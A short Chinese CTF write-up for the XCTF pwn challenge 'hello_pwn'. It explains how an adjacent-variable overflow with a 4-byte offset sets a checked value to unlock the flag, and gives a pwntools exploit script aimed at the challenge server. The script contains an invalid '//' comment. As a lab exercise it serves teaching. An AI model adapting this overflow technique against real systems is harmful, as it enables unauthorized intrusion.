xctf-pwn hello_pwn

走流程,看看文件类型

64位,开了NX

直接丢IDA分析

查看sub_400686()

是个给flag的函数,可以看到,只要满足if语句的条件使dword_60106C == 1853186401就可以得到flag。

计算偏移量

0x6C-0x68=0x4所以偏移量是4,简单的覆盖变量接下来就直接写exp了

exp:
from pwn import*
p = remote('111.198.29.45',32077)
payload='a'*4+p64(0x6E756161) //1853186401转成了16进制(不转也行)
p.recvuntil("lets get helloworld for bof\n")
p.sendline(payload)
p.interactive()

点赞

发表评论

昵称和uid可以选填一个,填邮箱必填(留言回复后将会发邮件给你)
tips:输入uid可以快速获得你的昵称和头像